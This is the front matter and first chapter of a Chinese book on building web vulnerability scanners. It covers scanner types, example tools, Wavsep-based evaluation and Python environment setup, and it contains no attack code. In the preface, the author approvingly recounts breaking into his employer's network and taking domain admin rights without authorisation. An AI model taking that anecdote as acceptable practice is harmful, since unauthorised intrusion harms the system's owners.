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摘要


Web扫描器是一种可以对Web应用程序进行自动化安全测试的工具，它可以帮助我们快速发现目标存在的安全风险，并能够对其进行持续性安全监控。

本书详细讲述了Web扫描器的概念、原理、实践及反制等知识，笔者凭借多年的安全工作经验，站在安全和开发的双重角度，力求为读者呈现出一个完整的Web扫描知识体系。通过对本书的学习和实践，可以让你快速建立自己的Web扫描体系，提高安全基础能力。
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推荐序

非常荣幸受刘漩的邀请为本书写推推序。

刘漩是安全宝第一位安全工程师，也是早期 WAF 规则的主要维护者。这六年多来，他一直在Web安全的最前线与黑客做斗争，从防御到漏洞挖掘，都有着丰富的经验，也正是因为如此，他眼中的扫描技术更为系统化。

纵观网络安全的发展历史，扫描器是最早出现的工具，从著名的开源实现 Nmap，到国人为之骄傲的流光FluXay，都是端口扫描的利器。而Web安全领域里的扫描器虽然原理类似，但实现却更为复杂，需要考虑扫描频率、扫描深度、爬虫对于 HTML 的解释能力，还要不断地积累POC。

记得我最早使用过的扫描器是IBM的AppScan，其爬取能力很强，但扫描速度却奇慢无比，基本上对URL要尝试所有扫描特征，最后还需要从大量的漏洞中去伪存真。

扫描器也是百度安全团队最早开发的工具之一，百度公司有数百个产品线，每天的发布量数不胜数，如果没有一个高效的漏洞扫描，安全几乎无从谈起。无论是新上线的业务，还是当出现0day时的大规模临检，扫描已经成为例行化工作。扫描结合被动的URL发现，目前已经成为最大的漏洞来源，同时扫描与工单系统联动，完成派单、巡检、复检也成为现代安全管理自动化流程的一部分。

扫描已经成为所有互联网业务中必不可少的安全工作。这本书将系统化地为读者讲解扫描原理与实现方法，我相信无论你是甲方安全工程师，还是乙方安全服务人员，阅读本书后都将受益匪浅。

百度云安全技术总监，百度云加速总负责人

冯景辉


序

我的安全路

本人第一次接触安全是在大学期间，有一次无意中读到室友买的一本《黑客防线》杂志，立刻就被里面的黑客技术深深吸引。从那以后，我就开始疯狂学习安全知识，而那时候大学还没有设立类似的课程，只能靠自己独立钻研。一方面我借助安全杂志学习入侵实践知识，另一方面则“泡”在图书馆里翻阅各类与安全相关的书籍补充理论知识，成长非常快。

但在大学毕业的时候，我却并没有选择进入自己感兴趣的安全类公司，反而进入了一家大型跨国公司，在里面做了一年的软件测试工作，感觉这段经历对我最大的改变就是，养成了喜欢用自动化方式去解决一些重复工作的习惯。

后来我还是希望遵从内心，决定找一份与安全相关的工作。在辞职前，我成功地入侵了公司的内部网络，拿到公司域控的管理权限，并在服务器的桌面上留下了善意的修复建议，目的只是为了证明自己的安全能力。

有着大公司的背景及对安全工作的执着追求，我顺利地加入了瑞星公司，在这里开始进一步学习安全的知识。得益于瑞星宽松的工作环境和浓厚的安全氛围，在完成本职工作之余，我开始进行更多的学习和研究，同时也接触到很多新的安全产品。也是在那段时间，我写了自己第一款移动端的手机防火墙软件，不过此时我对安全的理解更多的是攻防学习和漏洞研究，所掌握的知识并不成体系。

再后来我加入安全宝创业。安全宝算是我最有感情的一家公司，它让我从零开始踏上一个公司的安全建设之路，对安全工作进行系统的规划，以闭环的方式来推进和完善每个工作流程，然后通过攻防对抗实践进行迭代式的改进。其实对于企业来讲，攻防对抗仍然可以作为企业安全建设中最有价值的应用实践之一。

之后我加入百度。虽然还是以乙方的视角做着安全服务工作，但甲方的工作氛围和技术培训也让我对攻防的理解更加全局化，更加工程化，也更加体系化。此时，我对扫描的看法也发生了变化：扫描作为攻击的一种方式，它应该更贴近真实的攻击；而真实的攻击其实是一种全视角、持续性、动态化的入侵行为，它会对目标进行全视角的信息和资产收集，然后通过持续性的漏洞测试及动态的情报能力发现其中的脆弱点。因此，如果我们想重塑扫描的价值，那么就应该以攻击者的视角，同时将更多的安全能力融入扫描中，并以攻击的全流程来对其进行改进和扩充，从而最终实现扫描的情报化、插件化、智能化。

我的安全观


我眼中的Web安全


还记得自己刚刚加入百度，小哥（程岩）在面试我的时候，问了一个问题，我至今依然记忆深刻：每个Web安全人员都有自己的安全体系，你眼中的Web安全是什么样子的？

当时我也是第一次被问到这么宏观的问题，第一感觉就是问题很大，一时不知从何说起，现在我还记得自己当时的回答：我眼中的Web安全包含着我做的所有内容，比如漏洞挖掘、漏洞分析、漏洞攻击和规则防御等。它们都是围绕漏洞的生命周期进行展开的，可以按照时间顺序将它们划分为4个阶段，如下。


漏洞的感知
 ：我们需要从各个方面和渠道去关注Web漏洞，获取最新的漏洞资源和信息，如漏洞监控、漏洞预警或漏洞挖掘等。


漏洞的分析
 ：获取漏洞资源后，我们就需要对漏洞进行分析和研究，弄清楚漏洞的原理及成因，而这主要体现在两方面，一方面是可以构造出漏洞的POC，并补充到扫描器中，对漏洞实现自动化检测和验证；另一方面则是深入理解漏洞原理后，能够写出对应的漏洞匹配特征，制作漏洞签名，并给WAF升级进行防护。


漏洞的响应
 ：这里主要分为两部分，一部分是对内的响应，也就是自身的漏洞响应，对漏洞进行快速排查和修复；另一部分则是对外的响应，也就是对互联网的全网客户进行响应，评估漏洞对其影响，以及协助修复，并对全网的安全态势进行监控。


漏洞的沉淀
 ：按照漏洞的描述、原理、场景，以及修复策略等相关信息，对每个漏洞进行编号和积累，形成有价值的漏洞知识库。

现在回想起来，对于当时的回答，我其实并不满意，只能算是勉强应付下来。但事后自己却想得更多了，这个问题属于主观题，或许它没有标准的答案，也没有所谓的对与错，但它却可以让每个人按照自己的角度、自己的工作、自己的理解，重新去思考和审视自己的知识体系。从那以后，这个问题也就一直伴随着我，它也是我作为面试官必问的题目之一。因为我相信在不同的阶段，每个人对它的理解肯定是不一样的。


三个基础的安全认知



1.木桶原理


盛水的木桶是由多块木板箍成的，盛水量也是由这些木板决定的。若其中一块木板很短，则此木桶的盛水量就被限制，该短板就成了这个木桶盛水量的限制因素，若要此木桶盛水量增加，只有换掉短板或将其加长才行，这就是木桶原理。它表达的意思就是，一个水桶无论有多高，它盛水的高度取决于其中最短的那块木板。在信息安全领域中，目标系统就好比盛水的木桶，它的安全性完全取决于系统中最薄弱的那个环节。

举个例子，我们在给企业进行渗透测试服务时，发现弱口令的安全问题仍然是企业的一个重灾区，这些企业虽然在安全方面做了很多工作，而且也部署了一些安全设备，但往往却因为一个简单的弱口令导致整个系统被入侵和攻破，所以我们需要审视系统中的薄弱点，并进行加强。


2.攻防不对称，安全是相对的


攻防不对称其实很好理解，防御方需要保护的是一个整体，而攻击方却可以通过审视这个整体，选择其中一个薄弱的环节进行持续的攻击。在这个对抗的过程中，其实很多内容都是不对称的，如下。


技术不对称
 ：攻击方可以针对目标使用的某个软件或组件进行深入的漏洞挖掘，然后通过新的0day漏洞完成攻击和入侵，而防御方却无法对系统每个部分的漏洞都有所了解。


成本不对称
 ：攻击方可以选择成本低廉、破坏力强的 DDoS 拒绝服务攻击，而防御方却需要消耗巨大的成本进行整体的防御。


信息不对称
 ：攻击方可以选择通过人员、社交、无线等与企业有依赖关系的入口制订攻击路径，而防御方却无法覆盖所有的关联入口。

因此不论是安全产品，还是安全设计，它们的目标从来都不是绝对安全的，而只追求相对安全。但这个认知绝不是用来找借口或是逃避安全责任的，而是用来提醒我们：安全是一个动态的过程，当前的安全工作仍然还有提升的空间；攻防其实只是一种成本的博弈对抗，只需要在允许的成本范围内进行适度、有效的防御即可；在攻防不对称的情况下，我们可以选择用攻击驱动的方式进行防御。


3.纵深防御


我们知道，当今所有的信息安全技术其实都是以“用户是好人”为信任前提，只有当确认他干了坏事之后，才会把他定义为“坏人”，然后开始对其进行响应或防御。只有当某个用户已被证明产生了危害后，才将其定位为黑客或攻击者，开始对他进行应急处置，这种防御方式显然存在天然的滞后性，也势必会导致安全人员处于被动、挨打的局面。

为了能够改变这种被动、滞后的劣势，就需要拉伸防御的纵深。其实一个完整的攻击并不是由单点完成的，它通常会由一系列的环节关联组成，属于一个持续、连贯的过程。因此，我们可以在攻击过程中的每个必要环节点设置防御，从而做到提前感知和防御，利用这种层层设防、联动防御的方式，就可以化被动为主动，在攻击产生危害之前对其进行应急响应和处置。

安全其实是一个动态、整体的概念，正如道哥所说，互联网本来是安全的，自从有了研究安全的人之后，互联网就变得不安全了；而研究安全的人归根结底可以分为攻与防两个大分支，不过这里所说的攻防不是单纯的攻击入侵与技术防御，它们会结合技术、业务、流程、人员、制度和管理，形成一个广义的攻防概念，并一起构成了安全这个整体。因此我们看待安全的时候需要从攻与防两个不同的角度来整体审视和博弈均衡，同时攻击和防御也会在不断碰撞和对抗的过程中得到发展和变化。攻击通常会选择系统相对薄弱的环节来实施，防御则需要从各个角度及不同维度进行整体防御，补齐系统的各个短板，但攻防它又是不对称的，因此我们需要利用纵深防御的理念，将完整的攻击链条进行拆分和细化，在每个环节进行深度分析和防御，从而建立起立体化的安全防御体系。


前言

随着互联网的高速发展，Web应用在其中所扮演的地位也越来越重要，因为很多业务都选择使用Web的形式来提供服务，但随之而来的Web安全问题也日渐凸显出来，企业往往会因此遭受巨大的损失，此时很多企业都会在 Web 应用上线前或运行中对其进行相应的安全测试来保证安全性，减少由于安全问题造成的损失。

通常而前，Web应用的安全测试技术主要有：黑盒测试和白盒测试，还有一种灰盒测试，它是介于黑盒和白盒之间的。这里我们主要说一下黑盒测试，它又被称为动态调试，这种方法主要是测试应用的功能点。它不需要分析内部代码，也不需要测试代码实现的逻辑。在黑盒测试过程中，只需要通过网页爬虫模拟正常用户访问Web应用的全部路径，然后基于探测的路径生成安全测试用例即可。在该过程中，被测站点往往被视为一个黑盒，此时不用关心其内部如何运行，用何种语前编写，只需依赖于Web应用的可用性。因此，黑盒测试常常是安全人员首选的测试方法，同时它具有实施性强、兼容性好，以及测试效率高等特点，因而得到了广泛的应用。

本书所讲的Web扫描器，属于黑盒测试的范畴，在Web应用安全测试中起着至关重要的作用，同时它的价值也是显而易见的。

对于企业建设来说，它可以帮助企业快速建立起常态、持续的安全扫描和监控体系，尽早发现安全问题并修复，从而节省人力成本和避免安全损失。

对于安全测试来说，它可以通过自动化的方式提高测试人员的效率及业务的覆盖面。

对于安全技术来说，Web 扫描器早已作为安全人员的必备工具，因此我们有必要了解其原理和思路，然后通过持续的安全研究和对漏洞库的积累打造属于自己的安全扫描器，提高安全能力。

因此，对于Web扫描器的学习和研究显得尤为重要。

本书适用的目标读者

甲方安全人员。

渗透测试人员。

安全测试人员。

安全开发人员。

技术负责人员。

Web扫描器开发人员。

对Web扫描器感兴趣的安全从业人员。

为什么写这本书

我还记得，在 2014 年年中的时候，我受邀参加上海的 QCon 大会，并在安全分会场上做了一场关于云WAF的演讲，会后博文视点的编辑找到了我，希望我可以写一本关于云WAF的书，经过慎重考虑，主要由于工作和时间的诸多不确定性，没敢贸然答应，此事只好作罢。

然而，时至今日，写书的想法却在心中越发强烈起来，我也深知写书不易，尤其是写一本技术类的书籍更难，它需要耗费大量的精力和时间去研究、调试、测试，以及论证。本书没有选择以云WAF 为主题，主要是因为现阶段它与公司的业务过于密切，而且由于近年来我的工作角色的转变，已基本没有负责WAF相关的事情，所以最终放弃了，但也因此有了新的选择。

在安全宝被百度全资收购后，我有幸加入了百度安全，转而负责公司对外的企业安全服务。由于工作的需要，我经常会去拜访企业客户。在这个过程中，发现甲方客户其实很少会像BAT那样把安全当成一种习惯来执行，大多数都是事后出现安全问题才会想到使用渗透测试或APP测试这类服务来帮助排查和解决问题。至于Web扫描器那就更惨了，几乎快被人遗忘了，主要是因为很多甲方人员用扫描器来检测漏洞的时候，经常不能发现高危的安全问题，时间一久就开始对Web扫描器的价值产生质疑。

其实Web扫描就好比日常生活中的健康体检，你需要对安全进行长期的监控和检测，只有把扫描当成一种习惯，同时真正建立起企业专属有效的扫描体系，把安全当成一种习惯来对待，你才能优于攻击者提前发现安全问题。

为了改变人们对扫描的一些误解，重新认识扫描特有的价值，所以，我决定写一本关于Web扫描的安全书籍。在写书之初，我就开始对之前自己所写的扫描类文章进行重构和整理，希望可以借此将更多有价值的内容呈现出来，同时让读者有更多的收益或启示。

扫描器环境

操作系统：Debian 8 x64 账号：imiyoo/anquanbao

扫描测试：LNMP 1.2+Wavesp 1.5

语前环境：Python 2.7.9

本书涉及的代码均以Python来实现，至于为什么选择Python语前？理由如下：

Python简单易学，上手很快，而且跨平台，可移植性强。

除了内置的库外，还有大量的第三方库，减少重复“造轮”工作。

约定

本书所提到的扫描器特指 Web 扫描器，为了便于内容简洁和避免读者误解，所以书中会统一使用扫描器来代替 Web 扫描器；同时阅读本书需要读者有一定的安全和开发基础，本书对一些比较基础的名称和技术并没有做太多的解释，读者可以通过百度等搜索引擎自行查阅。

由于时间关系，书中所涉及的相关资源暂无法全部上传，后面会陆续上传到笔者的GitHub上，读者可以在https：//github.com/imiyoo2010上获取。

导读

全书共分为9章，内容之间有一定的关联性，所以建议大家最好从头到尾地阅读和学习。

第1章为扫描器基础，主要介绍扫描器的一些基础和必备知识，帮助读者更快地进入扫描器的世界并开始进行有目标的学习。

第2章和第3章分别为Web爬虫基础和Web爬虫进阶。爬虫作为Web扫描器的重要组成部分，内容非常多，这里分两章来介绍，Web 爬虫基础主要介绍 Web 爬虫的一些必要的理论知识；Web爬虫进阶则重点关注功能原理和代码实现，并对业界流行的Web 2.0爬虫进行思考和实践。

第4章为应用指纹识别，它也是Web扫描器必备的一个功能组成部分，主要介绍应用指纹识别的原理及实践。

第5章为安全漏洞审计，它是Web扫描器的核心，也是本书的重点内容之一，主要分为通用漏洞审计和Nday/0day漏洞审计，通过对漏洞进行场景化分析，由浅入深地介绍安全漏洞审计的原理和实践。

第6章为扫描器进阶，主要从整体的角度来设计和实现Web扫描器。

第7章为云扫描，主要介绍云扫描的知识及相关技术的具体实践。

第8章为企业安全扫描实践，主要介绍企业常用的扫描场景及实践。

第9章为防御，主要介绍扫描器的常见防御方式和手段。

致致

我相信每一本书的完成都少不了身边亲人和朋友的支持，需要感致的人太多了。

感致我的老婆，为我生了一个聪明可爱的小子，并一直操劳着这个家，让我有足够的时间和精力来写作，老婆辛苦了，我爱你。

感致我的父母，他们不计回报地付出和关爱着我，只求我健康成长。

感致我所在的公司百度，百度是一家以技术为导向的公司，宽松的工作环境和良好的技术氛围，让我很快地成长起来。

感致博文视点的编辑及其团队，在书籍出版的过程中，他们给了我很多专业的意见和帮助。

特别感致冯景辉为本书写推推序，他是一个充满激情且令人敬佩的领导，能邀请到他为本书写序，我十分荣幸。在公司内部我们都喜欢称他为冯老板，他敏锐的洞察力和成熟的方法论，以及对问题抽丝剥茧的能力，让我们受益良多。

还有感致那些在背后给我支持和帮助的朋友、同事，以及领导，他们分别是：刘文杰、石祖文、王胄、周永成、刘焱、耿志峰、李婷婷、程岩、马哲超、陈燕。

最后感致所有对本书做出贡献的人，没有你们，这本书不会这么快面世。

致致你们！

本书的写作大部分是我利用业余时间来实践和完成的，匆忙中难免会有一些问题或错误，欢迎各位读者提出意见和建议，笔者不胜感激。

刘漩

2017年2月27日

轻松注册成为博文视点社区用户（www.broadview.com.cn），扫码直达本书页面。


提交勘误：
 您对书中内容的修改意见可在 提交勘误
 处提交，若被采纳，将获赠博文视点社区积分（在您购买电子书时，积分可用来抵扣相应金额）。


交流互动：
 在页面下方 读者评论
 处留下您的疑问或观点，与我们和其他读者一同学习交流。

页面入口：http：//www.broadview.com.cn/31477
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第1章 扫描器基础

本章先来简单地介绍一下Web扫描器。

1.1 什么是Web扫描器

百度百科的定义：Web 扫描器可以自动地检查Web 应用程序的安全弱点和风险，它主要通过探测和分析Web应用的响应，从而发现其中潜在的安全问题和架构缺陷。

从上述的定义中，我们可以看出扫描器的两个特点：

自动检查Web应用程序的安全弱点和风险

主要通过探测和分析Web应用的响应来发现安全问题和架构缺陷

这两个特点告诉我们，Web扫描器其实是一种自动化的安全弱点和风险检测；它的工作方式和原理主要是通过分析HTTP（s）请求和响应来发现安全问题和风险。

通常情况下，扫描器的使用人群可以分为两类，一类是产品测试人员，另一类则是安全测试人员。但是他们对扫描器的功能需求和结果诉求却是完全不一样的，因此我们有必要了解一下这两种不同的使用人群。


1.从产品测试人员角度看


扫描器主要是用来对Web应用程序进行扫描检测，根据Web漏洞的常见签名特征，对Web应用进行全面的安全检测，提前发现可能存在的漏洞，做到事前发现和修复。扫描器作为黑盒自动化测试工具，可以帮助我们在QA环节快速发现业务系统的安全缺陷并修复，在产品快速迭代的同时，保证业务上线前的安全。


2.从安全测试人员角度看


在对一个目标进行渗透测试时，首先需要进行信息收集，然后再对这些信息进行漏洞审计。其中，信息收集的目的是最大化地收集与目标有关联的信息，提供尽可能多的攻击入口；漏洞审计则是对这些可能的攻击入口进行安全分析和检测，来验证这些攻击入口是否可以被利用。由于这两个环节的工作更多是具有发散性的，因此人工的工作量就会非常大。这个时候就我们需要用到Web扫描器，其实它的目的就是尽可能地帮助我们自动完成这两个环节，方便安全测试人员快速获取目标可供利用的漏洞以便进行后续渗透工作。


小结：


在这里，我们可以看到，虽然两种使用人群都以自动发现Web应用的安全隐患为目的，但站在不同的角度来看，两者的方向和意义却是完全不同的，而这不同的角度当然会直接影响到扫描器的具体功能和实践，鉴于笔者之前的经历更多的还是在乙方做安全工作，所以本书的内容也会选择从安全测试人员的角度进行讲述。

1.2 扫描器的重要性

扫描器的重要性分为三方面，下面分别进行讲解。


1.业务上线前的安全保障


随着企业的发展和壮大，公司内部的业务线也会随之变多，而单纯依靠人工检测肯定没有办法完全覆盖到，因此我们需要引入安全扫描能力，它能够为业务在上线发布前进行自动化扫描和检测，从而可以把烦琐的安全检测工作通过扫描器自动完成，这样不仅可以减少人工的工作量，同时还可以极大地缩减检测时间，保障业务顺利发布和上线。


2.业务运行中的安全监控


安全其实是一个动态的过程，因此对业务持续地安全监控也是必不可少的，我们可以通过扫描器对业务运行中的日志或流量进行动态实时的扫描分析及监控，还可以与企业内部的防火墙或WAF进行协同联动，从而可以达到事中的安全阻断，保障业务运行中的安全。


3.业务运行中的安全预警


互联网中许多开源组件经常会被研究员爆出 0day 漏洞，在这个时候，我们就可以通过扫描器对企业中所有暴露在公网上的资产进行组件的探测识别和漏洞验证，这样就可以快速定位到风险资产和目标，并能够对该漏洞进行修复和升级，从而有效地降低 0day 漏洞给企业带来的安全风险。

1.3 扫描器的类型

扫描器的类型其实并没有严格的划分标准，这里为了便于读者的理解和记忆，笔者将扫描器按照使用场景进行划分，可分为三种类型，下面分别进行介绍。


1.主动型


主动型的意思就是说，当对目标进行扫描时，扫描请求是主动发起的，所以称之为主动型。它们不受产品形态的约束，既可以是软件，也可以是硬件，常见的软件代表有：Acunetix WVS、Nessus Vulnerability Scanner等，它们在主机上成功安装后，就可以对目标进行安全扫描和测试。硬件代表有：绿盟极光等，它们需要部署在网络中，才能对目标进行相应的安全扫描。

其特点如下。

优点：功能强大。

缺点：需要安装或部署，同时存在单机性能瓶颈，相比于云端型不易于横向扩展。


注意：


这里不是说不能横向扩展，而是说不易于，因为这种主动型扫描，不是为大规模扫描而诞生的，它可以理解为云端型扫描节点，如果在主动型基础上进行横向扩展，我们需要额外的开发工作量，比如扫描结果的集中存储、任务的合理调度等，而并不能像云端型那样直接增加扫描节点。


2.被动型


被动型，它有一个明显的特点，就是不会向目标发送扫描请求，而是通过中间代理或流量镜像的方式，通过网络流量的真实请求去发现和告知可能存在的安全缺陷或漏洞。因此它有两种常见的工作模式，一种是代理模式，这种模式扫描器会以代理的形式而存在，这样真实的流量就会流经代理扫描器，此时就可以进行被动的分析和检测，不会对目标产生新的访问压力；另一种则是旁路型，它主要以硬件形式为主，通过获取待检测目标的流量镜像，对其中的HTTP流量进行会话重组和协议解析，最后利用内置的安全特征和动态沙盒等技术手段以被动的方式发现潜在的攻击和风险。

其特点如下。

优点：不会产生任何新的流量，不会对扫描目标产生额外的扫描风险。

缺点：它是以被动的方式去检测和发现的，属于事中的对抗和监控，并不能有效地将安全风险在事前扼杀，一旦攻击绕过去，无法及时进行止损。


3.云端型（SaaS）


云端型的扫描器，大多采用B/S结构，用户通过浏览器就可以直接对目标进行安全扫描，它既不需要安装，也不需要部署，即可使用安全扫描的服务。这类扫描器，其实是将扫描器的实体搬到了云端，通过云端的服务器来对目标进行扫描，扫描请求则是由云端服务器直接发起的。常见的云端型扫描的代表有：百度的云扫描、360的WebScan和安赛的AIScanner等。

其特点如下。

优点：使用方便，具有跨平台的特点，同时易于横向扩展，可用于大规模扫描。

缺点：云端的实现较为复杂，难度也较大，比如：云端的任务分发和调度、云端资源的高效分配和利用，以及云端设备的监控和报警等相关的云端技术实践。

1.4 常见的扫描器（扫描器的示例）

下面介绍几种常见的扫描器。


1.Acunetix Web Vulnerability Scanner(http://www.acunetix.com/)


Acunetix Web Vulnerability Scanner 是一款国外知名的 Web 应用安全扫描器，运行在Windows平台，可以检测Web应用程序中的SQL注入漏洞、XSS跨站脚本漏洞、敏感信息泄露等常见 Web 漏洞。它包含收费和免费两种版本，其安装和使用也非常简单，但功能却非常强大，这里就不详细介绍了，感兴趣的读者可以自行学习和研究。
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2.Burp Suite(https://portswigger.net/burp/)


Burp Suite其实是一款代理型扫描和攻击集成平台，依赖于Java运行环境，可跨平台运行，它位于浏览器与目标Web服务器之间，主要进行HTTP（s）信息传递，同时可以对流经的HTTP（s）请求/响应进行拦截、查看和修改。
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3.Tenable's Passive Vulnerability Scanner


Tenable's Passive Vulnerability Scanner是一款被动型的扫描器，支持Windows、Linux和Mac三种操作系统平台。它以一种非入侵性的方式，提供持续的实时网络分析和监控。它通过监控和分析网络流量，可以快速地确定拓扑结构，主机，服务，漏洞和应用程序，实时地查看当前的安全状态和目标存在的漏洞，如下图：
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4.TeyeScan（真眼扫描器）


TeyeScan是笔者自己独立开发的一款云端型扫描器，之前叫WatScan，后更名为TeyeScan，本书的内容主要是基于该扫描器的实践进行展开的。
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我们可以看到，云端型的扫描器使用非常简便，通过在云端服务平台上注册账号，然后提交任务目标进行扫描检测即可，待扫描结束后就可以在线查看对应的扫描报告，如下：
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小结：


本节按照扫描类型各选取了一款扫描器，目的是让读者能有一个感性的认识，还有很多其他知名的扫描器，如：HP的WebInSpect、IBM的AppScan等，就不在此罗列了，感兴趣的读者可以自己去体验和对比。为了保障自身业务的安全，其实很多互联网公司都研发了自己的扫描器，比如，百度内部的扫描器，我们称之为“扫雷”。在实际的对比分析中，它的漏洞召回率和准确率都是明显优于竞争对手的。同时对资源的复用率也达到了极致，充分利用内部机器的闲散计算资源进行扫描检测。百度凭借这些独有的优势，支撑着内部所有的业务线。

1.5 扫描器评测

既然有这么多的扫描器，那么什么样的扫描器才算是好的扫描器？这就需要有一个评测的标准，国外有一个专业的扫描器评测网站“sectoolmarket”，它会从漏洞的准确率、覆盖面、错误率和功能特点等多个维度对扫描器进行全面评测，同时它还发布了供扫描器评测的漏洞测试集项目——Wavsep。

从网站的介绍来看，最后一次评测更新时间是2016/02/07。下面列举了许多已经评测过的扫描器，具体的评测效果单击扫描器名即可看到，由于页面内容较多，这里只截取如下部分进行说明。
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更多详细的信息，读者可以通过访问链接 http：//www.sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html来获取。

1.6 漏洞测试平台

漏洞测试平台，主要用来测试扫描器的功能特点、漏洞的准确性，以及覆盖率，并根据这些结果来评估扫描器整体的质量和能力。我们可以利用它来发现扫描器的不足和缺陷，从而进一步完善和改进扫描器的能力。这里介绍一个常见的第三方扫描器漏洞测试平台。

Wavsep（Web Application Vulnerability Scanner Evaluation Project）是一个开源的Web应用程序扫描器评估项目，包含漏洞的Web应用程序，目的是帮助测试Web应用漏洞扫描器的功能、质量和准确性。Wavsep收集了很多独特的包含漏洞的Web页面，用于测试Web应用程序扫描器的多种特性。

目前Wavsep支持的漏洞类型包括：

*Reflected XSS:66 test cases,implemented in 64 jsp pages (GET&POST)

*Error Based SQL Injection:80 test cases,implemented in 76 jsp pages (GET&POST)

*Blind SQL Injection:46 test cases,implemented in 44 jsp pages (GET&POST)

*Time Based SQL Injection:10 test cases,implemented in 10 jsp pages (GET&POST)

其Github地址为https：//github.com/sectooladdict/wavsep。

1.7 扫描环境部署

扫描器关联的内容比较多，因此涉及的环境比较多。在这一节中，主要以扫描环境的搭建部署为主。扫描环境中需要两台机器进行开发和测试，其中一台作为测试环境，主要用来部署扫描器评估项目，提供漏洞靶场，验证扫描器的漏洞检测功能；另一台则作为扫描器的开发和调试环境，在这台机器上进行扫描器开发和调试工作。

1.7.1 测试环境

Wavsep项目主要用来对Web应用扫描器进行评估，与需求比较吻合，因此，这里就选择用它来作为漏洞测试环境，具体的安装步骤如下：


1.安装JDK


（1）下载JDK

访问链接http：//www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html，在页面中选择对应的版本，笔者这里选择Linux x64进行下载，如下：
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（2）解压并安装
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（3）配置Java环境

设置环境变量：
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在文件末尾处添加：
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并保存。

（4）配置生效，验证环境，输入下面命令，获取版本信息，即表明安装成功。
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2.安装Tomcat


执行安装命令，如下：
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3.安装MySQL


执行安装命令，如下：
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4.安装Wavsep


（1）切换到tomcat8的webapps目目下，部署Wavsep项目代码，如下：
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（2）访问链接http：//localhost：8080/wavsep/wavsep-install/install.jsp。

按照页面提示进行配置，安装成功后如下图：
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1.7.2 开发环境

下面开始搭建扫描器所需要的环境，由于这里笔者所要介绍的扫描器是基于 Python 语前进行构建的，因此需要安装Python开发所需要的基本环境及相应的功能模块。


1.Python环境


Python有两个主要的版本，一个是Python 2.x，简称Python 2；另一个是Python 3.x，简称Python 3。由于Python 3在设计时并没有考虑向下兼容的问题，导致很多早期Python程序或模块无法在Python 3.x上正常运行。考虑稳定性和学习成本的因素，我们选择Python 2.x版本进行实践，其中在Debian 8系统中默认的Python环境为Python 2.7.9，因此笔者就选择它作为扫描器的语前开发环境。
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2.IDE环境


由于扫描器的功能较多，在开发过程中会涉及编码、调试等相关工作。为了提高开发效率，需要选择一款集成的Python开发环境，笔者常用的IDE环境主要以Pycharm和Eclipse+PyDev为主，其实两者功能差不多，由于Pycharm的安装配置相对简单，因此这里选择Pycharm作为开发的IDE环境，读者直接从官网下载对应平台的版本进行安装即可。

官网地址：http：//www.jetbrains.com/Pycharm/download/＃section=linux。

运行后如下图：
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3.pip包管理工具


pip是一个安装和管理Python包的工具，是easy_install的替代工具。它可以省去很多手工安装的麻烦，让我们更加方便地管理第三方模块。这里使用 Debian 的应用程序管理器进行安装，执行下面命令：
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成功安装后，显示如下：
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4.PyQt


Qt是一个基于C++的跨平台开发框架，它既可以开发GUI程序，也可以开发非GUI程序，功能十分强大。为了让Python能够直接调用Qt，所以就选择用PyQt。

其实PyQt是Pyhon编程语前和Qt库的绑定，PyQt作为一组Python模块的实现，有超过300个类和超过6 000个函数方法，同时它还是跨平台的工具包，可以在所有的主流操作系统上运行。由于有大量可用的类，所以它被分成多个模块显示，如下图：
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我们主要用到其中的 QtWebKit 模块，它实现了开源浏览器引擎 WebKit 的浏览器引擎的封装。

官网地址：https：//riverbankcomputing.com/software/PyQt/download。

中文文档：http：//www.qaulau.com/books/PyQt4_Tutorial/index.html。

由于PyQt是基于Qt库进行的Python封装，因此首先需要安装Python和Qt的相关库。流程如下：

（1）安装Python和Qt的开发模块
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（2）下载SIP进行安装

[image: ]


（3）下载PyQt4进行安装
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5.WebKit


WebKit 是一个开源的浏览器引擎，它由三部分组成，WebCore 排版引擎核心、JSCore 引擎和WebKit移植层，其中WebCore和JSCore均是从KDE的KHTML和KJS引擎衍生而来的。WebKit高效稳定，兼容性好，且源码结构清晰，易于维护。苹果的Safari和Google的Chrome都是基于WebKit引擎开发的浏览器。本书第3章的Web 2.0爬虫也是基于WebKit浏览器引擎来实现的。


6.Ghost.py


Ghost.py是一个使用Python编写的封装了WebKit的网络工具，能够方便我们对浏览器引擎进行交互操作，同时对于浏览器事件的处理有很大的扩展性，对于Web 2.0页面的爬取很有帮助。Web 2.0 爬虫的实现需要依赖于该模块。由于最新版本已经做了很大的改动，所以这里我们选择源代码进行安装。

官网地址：http：//jeanphix.me/Ghost.py/。

官方文档：http：//ghost-py.readthedocs.io/en/latest/。

执行下面命令即可安装Ghost.py：
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7.Memory_profiler


Memory_profiler是 Python 中的一个第三方内存监控模块，它主要用来基于逐行测量代码的内存使用，但是使用它会让代码整体运行变得更慢。

下面利用pip安装Memory_profiler，执行命令如下：
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运行成功界面如下：
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另外，建议安装psutil包，这样Memory_profiler会运行得快一点，执行命令如下：
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运行成功界面如下：

[image: ]


用＠profile装饰器来标识需要追踪的函数即可，创建文件如下：
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输入命令，即可查看内存使用情况，如下：
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执行后的结果，如下图：
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从上面的结果中，可以看到程序执行每行代码的内存使用情况，不过这里的内存计算是以MiB为单位衡量的，表示mebibyte，其中1MiB=1.05MB。


8.Nose


在扫描器的实践中，需要对各种功能进行测试和验证，因此还需要有相应的测试框架，Python中常用的测试框架有Unittest、Pytest和Nose。相比较而前，Nose简单易用，功能丰富，所以这里我们用Nose作为功能测试框架。不过Nose并不是Python官方发行版的标准包，它属于第三方模块，需要额外安装。它主要通过对Unittest进行扩展，让测试工作更简单。Nose能够自动发现测试代码并执行，同时还提供了大量的插件。

利用pip安装Nose，执行命令如下：
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成功安装后显示如下图：
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Nose的使用方法比较简单，这里就不再单独举例，读者可参考官方文档学习和使用。

官方文档：https：//nose.readthedocs.org/en/latest/。


第2章 Web爬虫基础

对于扫描器的学习，笔者认为首先应该从Web爬虫开始，而Web爬虫所涉及和关联的知识非常多，有些笔者可能也未曾接触到，所以这里不可能覆盖爬虫所有的知识，笔者会根据自己的扫描器开发实践，将Web爬虫所需要的基础知识按照概念点进行拆分来介绍和讲解，一方面便于读者的学习和理解，另一方面则可以更好地为下一章“Web爬虫进阶”做铺垫。

2.1 什么是Web爬虫

